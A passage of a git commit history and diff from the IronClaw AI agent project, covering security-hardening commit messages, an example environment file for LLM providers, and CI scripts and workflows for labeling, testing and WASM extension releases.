  returns EmbeddingError if Ollama returns embeddings with a dimension
  that doesn't match the configured value.
- Add runtime warning when libSQL backend is used with non-1536 embedding
  dimension, since the libSQL schema uses F32_BLOB(1536) and cannot store
  different-dimension vectors.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Apply suggestions from code review

Co-authored-by: Copilot <[email protected]>

---------

Co-authored-by: panosAthDbx <[email protected]>
Co-authored-by: panosAthDBX <[email protected]>
Co-authored-by: panosAthDBX <[email protected]>
Co-authored-by: Claude Opus 4.6 <[email protected]>
Co-authored-by: Copilot <[email protected]>
2026-02-19 23:05:04 +00:00
e87d7bd066 feat: extend lifecycle hooks with declarative bundles (#176)
* feat: add bundled and declarative hook bundle loading

* fix: load plugin hooks only for active extensions

* fix: avoid duplicate plugin hook registration

* security: harden outbound webhook hooks

* fix: pin webhook DNS resolutions for outbound hooks

* fix: block IPv4-mapped local webhook targets

* style: format webhook hardening changes for CI

* fix: pass HookRegistry to ExtensionManager in AppBuilder

After merging main (which extracted AppBuilder from main.rs in #198),
the ExtensionManager::new() call in app.rs was missing the `hooks`
parameter that PR #176 added. This moves HookRegistry creation before
init_extensions() and threads it through, matching the existing pattern
in main.rs.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Illia Polosukhin <[email protected]>
Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-19 23:00:54 +00:00
e42b1e5ec1 fix: Network Security Findings (#201)
* docs(security): add network security reference for all listeners

Catalogs every network-facing surface (web gateway, webhook server,
orchestrator API, OAuth callback, sandbox proxy) with auth mechanisms,
bind addresses, egress controls, known findings, and a review checklist
for PRs that touch network-facing code.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(security): address three network security findings

- Use constant-time comparison (ct_eq) for webhook secret validation,
  matching the pattern in web gateway and orchestrator auth
- Add X-Content-Type-Options and X-Frame-Options security headers to
  the web gateway via SetResponseHeaderLayer
- Warn at startup when HTTP webhook server binds to 0.0.0.0
- Update NETWORK_SECURITY.md to mark findings 1, 4, 5 as resolved

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(security): address PR #201 review findings

- Reorder web gateway layers so security headers (X-Content-Type-Options,
  X-Frame-Options) are outermost and apply to all responses including
  DefaultBodyLimit 413 rejections
- Move 0.0.0.0 warning to final bind address resolution so it fires for
  WASM-only webhook servers that fall back to the default address
- Add webhook handler auth tests: correct secret -> 200, wrong secret
  -> 401, missing secret -> 401
- Rewrite NETWORK_SECURITY.md: replace brittle line-number references
  with function/struct name anchors, add threat model section, document
  graceful shutdown per listener, fill content gaps (health endpoint
  responses, content-type validation, CSRF analysis, WS auth flow, MCP
  trust boundary, orchestrator rate limiting), change findings F-4/F-5
  from "Resolved" to "Mitigated" with caveats

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: fix rustfmt and clippy warnings from main merge

Fix formatting in llm/mod.rs and llm/rig_adapter.rs introduced by
PR #132, and collapse nested if in rig_adapter.rs per clippy.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-19 22:01:57 +00:00
ccf60055f4 feat: support per-request model override in /v1/chat/completions (#103)
* feat: support per-request model override for /v1/chat/completions

- add optional model override to completion request types\n- forward request model through gateway, worker, and orchestrator proxy paths\n- use request model in NEAR AI providers with fallback to active model\n- replace model-mismatch integration test with override propagation checks\n- update FEATURE_PARITY.md note for OpenAI-compatible API behavior\n\nRefs #49

* Wire gateway OpenAI-compatible routes to active LLM provider

* Validate OpenAI model name length before streaming

* Address PR103 review feedback on model override and validation

* Report effective model in OpenAI-compatible responses

* Use async mutexes in OpenAI compatibility integration tests

* fix tests for per-request model field in response cache

* fix formatting and clippy lint after main merge

* Fix model override reporting and cache correctness

---------

Co-authored-by: Illia Polosukhin <[email protected]>
2026-02-19 21:45:37 +00:00
324 changed files with 74340 additions and 12028 deletions
+2 -2
View File
@@ -286,8 +286,8 @@ impl Tool for <Name>Tool {
false // Set true if tool processes external data
}
fn requires_approval(&self) -> bool {
false // Set true if tool is destructive or contacts external services
fn requires_approval(&self, _params: &serde_json::Value) -> crate::tools::tool::ApprovalRequirement {
crate::tools::tool::ApprovalRequirement::Never // Set to UnlessAutoApproved or Always as needed
}
}
```
+53 -10
View File
@@ -2,18 +2,25 @@
DATABASE_URL=postgres://localhost/ironclaw
DATABASE_POOL_SIZE=10
# LLM Provider (NEAR AI)
# NEAR AI provides a unified interface to all models with user authentication
# Session token is stored in ~/.ironclaw/session.json and managed automatically.
# On first run, the agent will open a browser for OAuth authentication.
NEARAI_MODEL=claude-3-5-sonnet-20241022
# LLM Provider
# LLM_BACKEND=nearai # default
# Possible values: nearai, ollama, openai_compatible, openai, anthropic, tinfoil
# === NEAR AI (Chat Completions API) ===
# Two auth modes:
# 1. Session token (default): Uses browser OAuth (GitHub/Google) on first run.
# Session token stored in ~/.ironclaw/session.json automatically.
# Base URL defaults to https://private.near.ai
# 2. API key: Set NEARAI_API_KEY to use API key auth from cloud.near.ai.
# Base URL defaults to https://cloud-api.near.ai
NEARAI_MODEL=zai-org/GLM-5-FP8
NEARAI_BASE_URL=https://private.near.ai
NEARAI_AUTH_URL=https://private.near.ai
# NEARAI_SESSION_PATH=~/.ironclaw/session.json # optional, default shown
# NEARAI_SESSION_TOKEN=sess_... # hosting providers: set this
# NEARAI_SESSION_PATH=~/.ironclaw/session.json # optional, default shown
# NEARAI_API_KEY=... # API key from cloud.near.ai
# Local LLM Providers (Ollama, LM Studio, vLLM, LiteLLM)
# LLM_BACKEND=nearai # default
# Possible values: nearai, ollama, openai_compatible, openai, anthropic
# === Ollama ===
# OLLAMA_MODEL=llama3.2
@@ -25,13 +32,32 @@ NEARAI_AUTH_URL=https://private.near.ai
# LLM_BACKEND=openai_compatible
# LLM_BASE_URL=http://localhost:1234/v1
# LLM_API_KEY=sk-... # optional for local servers
# Custom HTTP headers for OpenAI-compatible providers
# Format: comma-separated key:value pairs
# LLM_EXTRA_HEADERS=HTTP-Referer:https://github.com/nearai/ironclaw,X-Title:ironclaw
# === OpenRouter (via OpenAI-compatible) ===
# LLM_MODEL=anthropic/claude-sonnet-4
# === OpenRouter (300+ models via OpenAI-compatible) ===
# LLM_MODEL=anthropic/claude-sonnet-4 # see openrouter.ai/models for IDs
# LLM_BACKEND=openai_compatible
# LLM_BASE_URL=https://openrouter.ai/api/v1
# LLM_API_KEY=sk-or-...
# LLM_EXTRA_HEADERS=HTTP-Referer:https://myapp.com,X-Title:MyApp
# === Together AI (via OpenAI-compatible) ===
# LLM_MODEL=meta-llama/Llama-3.3-70B-Instruct-Turbo
# LLM_BACKEND=openai_compatible
# LLM_BASE_URL=https://api.together.xyz/v1
# LLM_API_KEY=...
# === Fireworks AI (via OpenAI-compatible) ===
# LLM_MODEL=accounts/fireworks/models/llama4-maverick-instruct-basic
# LLM_BACKEND=openai_compatible
# LLM_BASE_URL=https://api.fireworks.ai/inference/v1
# LLM_API_KEY=fw_...
# For full provider setup guide see docs/LLM_PROVIDERS.md
# Channel Configuration
# CLI is always enabled
@@ -49,6 +75,17 @@ HTTP_HOST=0.0.0.0
HTTP_PORT=8080
HTTP_WEBHOOK_SECRET=your-webhook-secret
# Signal Channel (optional, requires signal-cli daemon --http)
# SIGNAL_HTTP_URL=http://127.0.0.1:8080
# SIGNAL_ACCOUNT=+1234567890
# SIGNAL_ALLOW_FROM=+1234567890,uuid:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx # comma-separated, * for all, empty = deny/require pairing
# SIGNAL_ALLOW_FROM_GROUPS= # comma-separated group IDs, * for all, empty = deny all groups
# SIGNAL_DM_POLICY=pairing # open | allowlist | pairing
# SIGNAL_GROUP_POLICY=allowlist # allowlist | open | disabled
# SIGNAL_GROUP_ALLOW_FROM= # comma-separated, empty = inherit from ALLOW_FROM
# SIGNAL_IGNORE_ATTACHMENTS=false
# SIGNAL_IGNORE_STORIES=true
# Agent Settings
AGENT_NAME=ironclaw
AGENT_MAX_PARALLEL_JOBS=5
@@ -68,6 +105,12 @@ HEARTBEAT_INTERVAL_SECS=1800
HEARTBEAT_NOTIFY_CHANNEL=cli
HEARTBEAT_NOTIFY_USER=default
# Memory hygiene settings (automatic cleanup of stale workspace documents)
# Runs on each heartbeat tick; identity files (IDENTITY.md, SOUL.md) are never deleted
# MEMORY_HYGIENE_ENABLED=true
# MEMORY_HYGIENE_RETENTION_DAYS=30 # delete daily/ docs older than this many days
# MEMORY_HYGIENE_CADENCE_HOURS=12 # minimum hours between cleanup passes
# Safety settings
SAFETY_MAX_OUTPUT_LENGTH=100000
SAFETY_INJECTION_CHECK_ENABLED=true
+1
View File
@@ -0,0 +1 @@
tests/test-pages/**/*.html linguist-generated=true
+166
View File
@@ -0,0 +1,166 @@
# Scope labels for actions/labeler@v6
# Maps file path globs to scope labels. Multiple labels can apply per PR.
"scope: agent":
- changed-files:
- any-glob-to-any-file:
- src/agent/**
"scope: channel":
- changed-files:
- any-glob-to-any-file:
- src/channels/channel.rs
- src/channels/manager.rs
- src/channels/mod.rs
"scope: channel/cli":
- changed-files:
- any-glob-to-any-file:
- src/channels/cli/**
- src/cli/**
"scope: channel/web":
- changed-files:
- any-glob-to-any-file:
- src/channels/web/**
"scope: channel/wasm":
- changed-files:
- any-glob-to-any-file:
- src/channels/wasm/**
"scope: tool":
- changed-files:
- any-glob-to-any-file:
- src/tools/tool.rs
- src/tools/registry.rs
- src/tools/mod.rs
- src/tools/sandbox.rs
"scope: tool/builtin":
- changed-files:
- any-glob-to-any-file:
- src/tools/builtin/**
"scope: tool/wasm":
- changed-files:
- any-glob-to-any-file:
- src/tools/wasm/**
"scope: tool/mcp":
- changed-files:
- any-glob-to-any-file:
- src/tools/mcp/**
"scope: tool/builder":
- changed-files:
- any-glob-to-any-file:
- src/tools/builder/**
"scope: db":
- changed-files:
- any-glob-to-any-file:
- src/db/mod.rs
"scope: db/postgres":
- changed-files:
- any-glob-to-any-file:
- src/db/postgres.rs
- migrations/**
"scope: db/libsql":
- changed-files:
- any-glob-to-any-file:
- src/db/libsql_backend.rs
- src/db/libsql_migrations.rs
"scope: safety":
- changed-files:
- any-glob-to-any-file:
- src/safety/**
"scope: llm":
- changed-files:
- any-glob-to-any-file:
- src/llm/**
"scope: workspace":
- changed-files:
- any-glob-to-any-file:
- src/workspace/**
"scope: orchestrator":
- changed-files:
- any-glob-to-any-file:
- src/orchestrator/**
"scope: worker":
- changed-files:
- any-glob-to-any-file:
- src/worker/**
"scope: secrets":
- changed-files:
- any-glob-to-any-file:
- src/secrets/**
"scope: config":
- changed-files:
- any-glob-to-any-file:
- src/config.rs
- src/settings.rs
"scope: extensions":
- changed-files:
- any-glob-to-any-file:
- src/extensions/**
"scope: setup":
- changed-files:
- any-glob-to-any-file:
- src/setup/**
"scope: evaluation":
- changed-files:
- any-glob-to-any-file:
- src/evaluation/**
"scope: estimation":
- changed-files:
- any-glob-to-any-file:
- src/estimation/**
"scope: sandbox":
- changed-files:
- any-glob-to-any-file:
- src/sandbox/**
- Dockerfile*
"scope: hooks":
- changed-files:
- any-glob-to-any-file:
- src/hooks/**
"scope: pairing":
- changed-files:
- any-glob-to-any-file:
- src/pairing/**
"scope: ci":
- changed-files:
- any-glob-to-any-file:
- .github/workflows/**
- .github/scripts/**
"scope: docs":
- changed-files:
- any-glob-to-any-file:
- "**/*.md"
- docs/**
- LICENSE*
"scope: dependencies":
- changed-files:
- any-glob-to-any-file:
- Cargo.toml
- Cargo.lock
+71
View File
@@ -0,0 +1,71 @@
#!/usr/bin/env bash
# Idempotent label bootstrap for IronClaw PR automation.
# Uses `gh label create --force` so it can be re-run safely.
#
# Usage: bash .github/scripts/create-labels.sh
# Requires: gh CLI authenticated with repo scope
set -euo pipefail
if ! command -v gh &>/dev/null; then
echo "Error: gh CLI is required. Install from https://cli.github.com" >&2
exit 1
fi
create() {
local name="$1" color="$2" description="$3"
gh label create "$name" --color "$color" --description "$description" --force
}
echo "==> Creating size labels..."
create "size: XS" "F9D0C4" "< 10 changed lines (excluding docs)"
create "size: S" "F5A3A3" "10-49 changed lines"
create "size: M" "E57373" "50-199 changed lines"
create "size: L" "D32F2F" "200-499 changed lines"
create "size: XL" "B71C1C" "500+ changed lines"
echo "==> Creating risk labels..."
create "risk: low" "4CAF50" "Changes to docs, tests, or low-risk modules"
create "risk: medium" "FFC107" "Business logic, config, or moderate-risk modules"
create "risk: high" "F44336" "Safety, secrets, auth, or critical infrastructure"
create "risk: manual" "9E9E9E" "Risk level set manually (sticky, not overwritten)"
echo "==> Creating scope labels..."
create "scope: agent" "006B75" "Agent core (agent loop, router, scheduler)"
create "scope: channel" "00838F" "Channel infrastructure"
create "scope: channel/cli" "00897B" "TUI / CLI channel"
create "scope: channel/web" "00796B" "Web gateway channel"
create "scope: channel/wasm" "00695C" "WASM channel runtime"
create "scope: tool" "1565C0" "Tool infrastructure"
create "scope: tool/builtin" "1976D2" "Built-in tools"
create "scope: tool/wasm" "1E88E5" "WASM tool sandbox"
create "scope: tool/mcp" "2196F3" "MCP client"
create "scope: tool/builder" "42A5F5" "Dynamic tool builder"
create "scope: db" "4A148C" "Database trait / abstraction"
create "scope: db/postgres" "6A1B9A" "PostgreSQL backend"
create "scope: db/libsql" "7B1FA2" "libSQL / Turso backend"
create "scope: safety" "880E4F" "Prompt injection defense"
create "scope: llm" "4527A0" "LLM integration"
create "scope: workspace" "283593" "Persistent memory / workspace"
create "scope: orchestrator" "0D47A1" "Container orchestrator"
create "scope: worker" "01579B" "Container worker"
create "scope: secrets" "BF360C" "Secrets management"
create "scope: config" "E65100" "Configuration"
create "scope: extensions" "33691E" "Extension management"
create "scope: setup" "827717" "Onboarding / setup"
create "scope: evaluation" "558B2F" "Success evaluation"
create "scope: estimation" "9E9D24" "Cost/time estimation"
create "scope: sandbox" "00BFA5" "Docker sandbox"
create "scope: hooks" "6D4C41" "Git/event hooks"
create "scope: pairing" "4E342E" "Pairing mode"
create "scope: ci" "546E7A" "CI/CD workflows"
create "scope: docs" "78909C" "Documentation"
create "scope: dependencies" "90A4AE" "Dependency updates"
echo "==> Creating contributor labels..."
create "contributor: new" "FFF9C4" "First-time contributor"
create "contributor: regular" "FFE082" "2-5 merged PRs"
create "contributor: experienced" "FFB74D" "6-19 merged PRs"
create "contributor: core" "FF8A65" "20+ merged PRs"
echo "Done. All labels created/updated."
+139
View File
@@ -0,0 +1,139 @@
#!/usr/bin/env bash
# Classify a PR by size, risk, and contributor tier.
# Called by the pr-label-classify workflow.
#
# Inputs (env vars):
# PR_NUMBER — pull request number
# REPO — owner/repo (e.g. "user/ironclaw")
#
# Requires: gh CLI, jq
set -euo pipefail
PR_NUMBER="${PR_NUMBER:?PR_NUMBER is required}"
REPO="${REPO:?REPO is required}"
# ─── helpers ────────────────────────────────────────────────────────────────
# Remove all labels in a dimension except the desired one.
# Usage: set_exclusive_label "size" "size: M"
set_exclusive_label() {
local prefix="$1" desired="$2"
# Fetch current labels on the PR
local current
current=$(gh pr view "$PR_NUMBER" --repo "$REPO" --json labels --jq '.labels[].name')
# Remove any existing label with the same prefix
while IFS= read -r label; do
[[ -z "$label" ]] && continue
if [[ "$label" == "${prefix}:"* && "$label" != "$desired" ]]; then
gh pr edit "$PR_NUMBER" --repo "$REPO" --remove-label "$label" 2>/dev/null || true
fi
done <<< "$current"
# Add the desired label
gh pr edit "$PR_NUMBER" --repo "$REPO" --add-label "$desired"
}
# ─── size ───────────────────────────────────────────────────────────────────
classify_size() {
# Sum changed lines across non-doc files
local total
total=$(gh api "repos/${REPO}/pulls/${PR_NUMBER}/files" \
--paginate --jq '
[.[] | select(.filename | test("\\.(md|txt|rst|adoc)$") | not) | .changes]
| add // 0
')
local label
if (( total < 10 )); then label="size: XS"
elif (( total < 50 )); then label="size: S"
elif (( total < 200 )); then label="size: M"
elif (( total < 500 )); then label="size: L"
else label="size: XL"
fi
echo "Size: ${total} changed lines -> ${label}"
set_exclusive_label "size" "$label"
}
# ─── risk ───────────────────────────────────────────────────────────────────
classify_risk() {
# If "risk: manual" is present, skip — it's a sticky override
local current
current=$(gh pr view "$PR_NUMBER" --repo "$REPO" --json labels --jq '.labels[].name')
if echo "$current" | grep -qx "risk: manual"; then
echo "Risk: skipped (manual override)"
return
fi
# Fetch changed file paths
local files
files=$(gh api "repos/${REPO}/pulls/${PR_NUMBER}/files" \
--paginate --jq '.[].filename')
local risk="low"
while IFS= read -r file; do
[[ -z "$file" ]] && continue
case "$file" in
# High risk: safety, secrets, auth, crypto, setup, orchestrator auth
src/safety/*|src/secrets/*|src/llm/session.rs|src/orchestrator/auth.rs|\
src/channels/web/auth.rs|src/setup/*)
risk="high"
break # can't go higher
;;
# Medium risk: agent core, config, database, worker, tools, channels
src/agent/*|src/config.rs|src/settings.rs|src/db/*|src/worker/*|\
src/tools/*|src/channels/*|src/orchestrator/*|src/context/*|\
src/hooks/*|src/sandbox/*|src/extensions/*|Cargo.toml|\
.github/workflows/*)
# Only upgrade, never downgrade
[[ "$risk" != "high" ]] && risk="medium"
;;
# Low risk: docs, tests, estimation, evaluation, history, etc.
*)
;;
esac
done <<< "$files"
echo "Risk: ${risk}"
set_exclusive_label "risk" "risk: ${risk}"
}
# ─── contributor tier ───────────────────────────────────────────────────────
classify_contributor() {
# Get PR author
local author
author=$(gh pr view "$PR_NUMBER" --repo "$REPO" --json author --jq '.author.login')
# Count merged PRs by this author in this repo
local count
count=$(gh pr list --repo "$REPO" --state merged --author "$author" \
--limit 100 --json number --jq 'length')
local label
if (( count == 0 )); then label="contributor: new"
elif (( count < 6 )); then label="contributor: regular"
elif (( count < 20 )); then label="contributor: experienced"
else label="contributor: core"
fi
echo "Contributor: ${author} has ${count} merged PRs -> ${label}"
set_exclusive_label "contributor" "$label"
}
# ─── main ───────────────────────────────────────────────────────────────────
echo "Classifying PR #${PR_NUMBER} in ${REPO}..."
classify_size
classify_risk
classify_contributor
echo "Done."
+44 -8
View File
@@ -3,8 +3,8 @@ on:
pull_request:
jobs:
codestyle:
name: Code Style (fmt + clippy)
format:
name: Formatting
runs-on: ubuntu-latest
steps:
- name: Checkout repository
@@ -13,10 +13,46 @@ jobs:
uses: dtolnay/rust-toolchain@stable
with:
profile: minimal
components: rustfmt, clippy
- uses: Swatinem/rust-cache@v2
components: rustfmt
- name: Check formatting
run: |
cargo fmt --all -- --check
- name: Check lints (cargo clippy)
run: cargo clippy -- -D warnings
run: cargo fmt --all -- --check
clippy:
name: Clippy (${{ matrix.name }})
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
include:
- name: all-features
flags: "--all-features"
- name: default
flags: ""
- name: libsql-only
flags: "--no-default-features --features libsql"
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
with:
profile: minimal
components: clippy
- uses: Swatinem/rust-cache@v2
with:
key: clippy-${{ matrix.name }}
- name: Check lints
run: cargo clippy --all --benches --tests --examples ${{ matrix.flags }} -- -D warnings
# Roll-up job for branch protection
code-style:
name: Code Style (fmt + clippy)
runs-on: ubuntu-latest
if: always()
needs: [format, clippy]
steps:
- run: |
if [[ "${{ needs.format.result }}" != "success" || "${{ needs.clippy.result }}" != "success" ]]; then
echo "One or more jobs failed"
exit 1
fi
+50
View File
@@ -0,0 +1,50 @@
name: E2E Tests
on:
schedule:
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
workflow_dispatch:
pull_request:
paths:
- "src/channels/web/**"
- "tests/e2e/**"
jobs:
e2e:
name: Browser E2E
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v6
- uses: dtolnay/rust-toolchain@stable
- uses: actions/cache@v4
with:
path: |
target
~/.cargo/registry
key: e2e-${{ runner.os }}-${{ hashFiles('Cargo.lock') }}
- name: Build ironclaw (libsql)
run: cargo build --no-default-features --features libsql
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Install E2E dependencies
run: |
cd tests/e2e
pip install -e .
playwright install --with-deps chromium
- name: Run E2E tests
run: pytest tests/e2e/ -v -x --timeout=120
- name: Upload screenshots on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: e2e-screenshots
path: tests/e2e/screenshots/
if-no-files-found: ignore
+26
View File
@@ -0,0 +1,26 @@
name: "PR: Classify (Size, Risk, Contributor)"
on:
pull_request_target:
types: [opened, synchronize, reopened]
permissions:
contents: read
pull-requests: write
issues: read # needed for search/issues API (contributor count)
jobs:
classify:
runs-on: ubuntu-latest
steps:
- name: Checkout base branch
uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.base.ref }}
- name: Classify PR
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
PR_NUMBER: ${{ github.event.pull_request.number }}
REPO: ${{ github.repository }}
run: bash .github/scripts/pr-labeler.sh
+18
View File
@@ -0,0 +1,18 @@
name: "PR: Scope Labels"
on:
pull_request_target:
types: [opened, synchronize, reopened]
permissions:
contents: read
pull-requests: write
jobs:
scope:
runs-on: ubuntu-latest
steps:
- uses: actions/labeler@v5
with:
configuration-path: .github/labeler.yml
sync-labels: false # additive only — never remove scope labels
+180 -4
View File
@@ -89,10 +89,12 @@ jobs:
# Build and packages all the platform-specific things
build-local-artifacts:
name: build-local-artifacts (${{ join(matrix.targets, ', ') }})
# Let the initial task tell us to not run (currently very blunt)
# Wait for WASM extensions so we can patch manifests with SHA256 checksums
# before build.rs bakes them into the embedded catalog.
needs:
- plan
if: ${{ fromJson(needs.plan.outputs.val).ci.github.artifacts_matrix.include != null && (needs.plan.outputs.publishing == 'true' || fromJson(needs.plan.outputs.val).ci.github.pr_run_mode == 'upload') }}
- build-wasm-extensions
if: ${{ fromJson(needs.plan.outputs.val).ci.github.artifacts_matrix.include != null && (needs.plan.outputs.publishing == 'true' || fromJson(needs.plan.outputs.val).ci.github.pr_run_mode == 'upload') && (needs.build-wasm-extensions.result == 'skipped' || needs.build-wasm-extensions.result == 'success') }}
strategy:
fail-fast: false
# Target platforms/runners are computed by dist in create-release.
@@ -139,6 +141,28 @@ jobs:
pattern: artifacts-*
path: target/distrib/
merge-multiple: true
- name: Patch manifests with WASM checksums
if: ${{ needs.plan.outputs.publishing == 'true' }}
shell: bash
run: |
CHECKSUMS="target/distrib/checksums.txt"
if [ ! -f "$CHECKSUMS" ]; then
echo "No checksums.txt found, skipping manifest patching"
exit 0
fi
while IFS= read -r line; do
sha256=$(echo "$line" | awk '{print $1}')
filename=$(echo "$line" | awk '{print $2}')
name=$(echo "$filename" | sed 's/-wasm32-wasip2\.tar\.gz$//')
for manifest in registry/tools/${name}.json registry/channels/${name}.json; do
if [ -f "$manifest" ]; then
jq --arg sha "$sha256" '.artifacts["wasm32-wasip2"].sha256 = $sha' "$manifest" > "${manifest}.tmp" && mv "${manifest}.tmp" "$manifest"
echo "Patched $manifest with sha256=$sha256"
fi
done
done < "$CHECKSUMS"
- name: Install dependencies
run: |
${{ matrix.packages_install }}
@@ -214,14 +238,113 @@ jobs:
path: |
${{ steps.cargo-dist.outputs.paths }}
${{ env.BUILD_MANIFEST_NAME }}
# Build WASM extension bundles (tar.gz with .wasm + .capabilities.json)
build-wasm-extensions:
needs:
- plan
if: ${{ needs.plan.outputs.publishing == 'true' }}
runs-on: "ubuntu-22.04"
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
submodules: recursive
- name: Install Rust toolchain + wasm target
run: |
rustup target add wasm32-wasip2
cargo install cargo-component --locked || true
- uses: swatinem/rust-cache@v2
with:
key: wasm-extensions
- name: Build and package WASM extensions
shell: bash
run: |
set -euo pipefail
mkdir -p target/wasm-bundles
# Process each manifest in registry/tools/ and registry/channels/
for manifest in registry/tools/*.json registry/channels/*.json; do
[ -f "$manifest" ] || continue
name=$(jq -r '.name' "$manifest")
source_dir=$(jq -r '.source.dir' "$manifest")
caps_file=$(jq -r '.source.capabilities' "$manifest")
crate_name=$(jq -r '.source.crate_name' "$manifest")
if [ ! -d "$source_dir" ]; then
echo "::warning::Source dir '$source_dir' not found for '$name', skipping"
continue
fi
echo "=== Building $name from $source_dir ==="
# Build WASM component
cargo component build --release --manifest-path "$source_dir/Cargo.toml" || {
echo "::warning::Build failed for '$name', skipping"
continue
}
# Find the built WASM file (Cargo uses underscores in artifact names)
wasm_artifact="${crate_name//-/_}"
wasm_path=""
for target_dir in wasm32-wasip2 wasm32-wasip1 wasm32-wasi; do
candidate="$source_dir/target/$target_dir/release/${wasm_artifact}.wasm"
if [ -f "$candidate" ]; then
wasm_path="$candidate"
break
fi
done
if [ -z "$wasm_path" ]; then
echo "::warning::No WASM output found for '$name', skipping"
continue
fi
# Copy files with standardized names for the archive
cp "$wasm_path" "target/wasm-bundles/${name}.wasm"
caps_path="$source_dir/$caps_file"
if [ -f "$caps_path" ]; then
cp "$caps_path" "target/wasm-bundles/${name}.capabilities.json"
else
echo "::warning::No capabilities file at '$caps_path' for '$name'"
fi
# Create tar.gz bundle
bundle="target/wasm-bundles/${name}-wasm32-wasip2.tar.gz"
(cd target/wasm-bundles && if [ -f "${name}.capabilities.json" ]; then tar czf "${name}-wasm32-wasip2.tar.gz" "${name}.wasm" "${name}.capabilities.json"; else tar czf "${name}-wasm32-wasip2.tar.gz" "${name}.wasm"; fi)
# Compute SHA256
sha256=$(sha256sum "$bundle" | cut -d' ' -f1)
echo "$sha256 ${name}-wasm32-wasip2.tar.gz" >> target/wasm-bundles/checksums.txt
# Clean up intermediate files
rm -f "target/wasm-bundles/${name}.wasm" "target/wasm-bundles/${name}.capabilities.json"
echo " -> $bundle ($sha256)"
done
echo "=== WASM bundles built ==="
ls -la target/wasm-bundles/
- name: "Upload WASM bundles"
uses: actions/upload-artifact@v4
with:
name: artifacts-wasm-extensions
path: |
target/wasm-bundles/*.tar.gz
target/wasm-bundles/checksums.txt
# Determines if we should publish/announce
host:
needs:
- plan
- build-local-artifacts
- build-global-artifacts
# Only run if we're "publishing", and only if plan, local and global didn't fail (skipped is fine)
if: ${{ always() && needs.plan.result == 'success' && needs.plan.outputs.publishing == 'true' && (needs.build-global-artifacts.result == 'skipped' || needs.build-global-artifacts.result == 'success') && (needs.build-local-artifacts.result == 'skipped' || needs.build-local-artifacts.result == 'success') }}
- build-wasm-extensions
# Only run if we're "publishing", and only if plan, local, global, and wasm didn't fail (skipped is fine)
if: ${{ always() && needs.plan.result == 'success' && needs.plan.outputs.publishing == 'true' && (needs.build-global-artifacts.result == 'skipped' || needs.build-global-artifacts.result == 'success') && (needs.build-local-artifacts.result == 'skipped' || needs.build-local-artifacts.result == 'success') && (needs.build-wasm-extensions.result == 'skipped' || needs.build-wasm-extensions.result == 'success') }}
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
runs-on: "ubuntu-22.04"
@@ -281,6 +404,59 @@ jobs:
gh release create "${{ needs.plan.outputs.tag }}" --target "$RELEASE_COMMIT" $PRERELEASE_FLAG --title "$ANNOUNCEMENT_TITLE" --notes-file "$RUNNER_TEMP/notes.txt" artifacts/*
# Commit patched manifest SHA256 checksums back to main so the repo
# stays in sync with the released artifacts.
update-registry-checksums:
needs:
- plan
- host
- build-wasm-extensions
if: ${{ always() && needs.host.result == 'success' && needs.build-wasm-extensions.result == 'success' }}
runs-on: "ubuntu-22.04"
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
steps:
- uses: actions/checkout@v4
with:
ref: main
- name: Fetch WASM checksums
uses: actions/download-artifact@v4
with:
name: artifacts-wasm-extensions
path: target/wasm-bundles/
- name: Patch manifests with SHA256
shell: bash
run: |
CHECKSUMS="target/wasm-bundles/checksums.txt"
if [ ! -f "$CHECKSUMS" ]; then
echo "No checksums.txt found"
exit 0
fi
while IFS= read -r line; do
sha256=$(echo "$line" | awk '{print $1}')
filename=$(echo "$line" | awk '{print $2}')
name=$(echo "$filename" | sed 's/-wasm32-wasip2\.tar\.gz$//')
for manifest in registry/tools/${name}.json registry/channels/${name}.json; do
if [ -f "$manifest" ]; then
jq --arg sha "$sha256" '.artifacts["wasm32-wasip2"].sha256 = $sha' "$manifest" > "${manifest}.tmp" && mv "${manifest}.tmp" "$manifest"
echo "Patched $manifest with sha256=$sha256"
fi
done
done < "$CHECKSUMS"
- name: Commit updated manifests
run: |
git config user.name "github-actions[bot]"
git config user.email "github-actions[bot]@users.noreply.github.com"
git add registry/
if git diff --cached --quiet; then
echo "No manifest changes to commit"
else
git commit -m "chore: update WASM artifact SHA256 checksums [skip ci]"
git push
fi
announce:
needs:
- plan
+51 -3
View File
@@ -7,7 +7,33 @@ on:
jobs:
tests:
name: Run Tests
name: Tests (${{ matrix.name }})
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
include:
- name: all-features
flags: "--all-features"
- name: default
flags: ""
- name: libsql-only
flags: "--no-default-features --features libsql"
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
with:
profile: minimal
- uses: Swatinem/rust-cache@v2
with:
key: ${{ matrix.name }}
- name: Run Tests
run: cargo test ${{ matrix.flags }} -- --nocapture
telegram-tests:
name: Telegram Channel Tests
runs-on: ubuntu-latest
steps:
- name: Checkout repository
@@ -17,5 +43,27 @@ jobs:
with:
profile: minimal
- uses: Swatinem/rust-cache@v2
- name: Run Tests
run: cargo test --all-features -- --nocapture
- name: Run Telegram Channel Tests
run: cargo test --manifest-path channels-src/telegram/Cargo.toml -- --nocapture
docker-build:
name: Docker Build
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Build Docker image
run: docker build -t ironclaw-test:ci .
# Roll-up job for branch protection
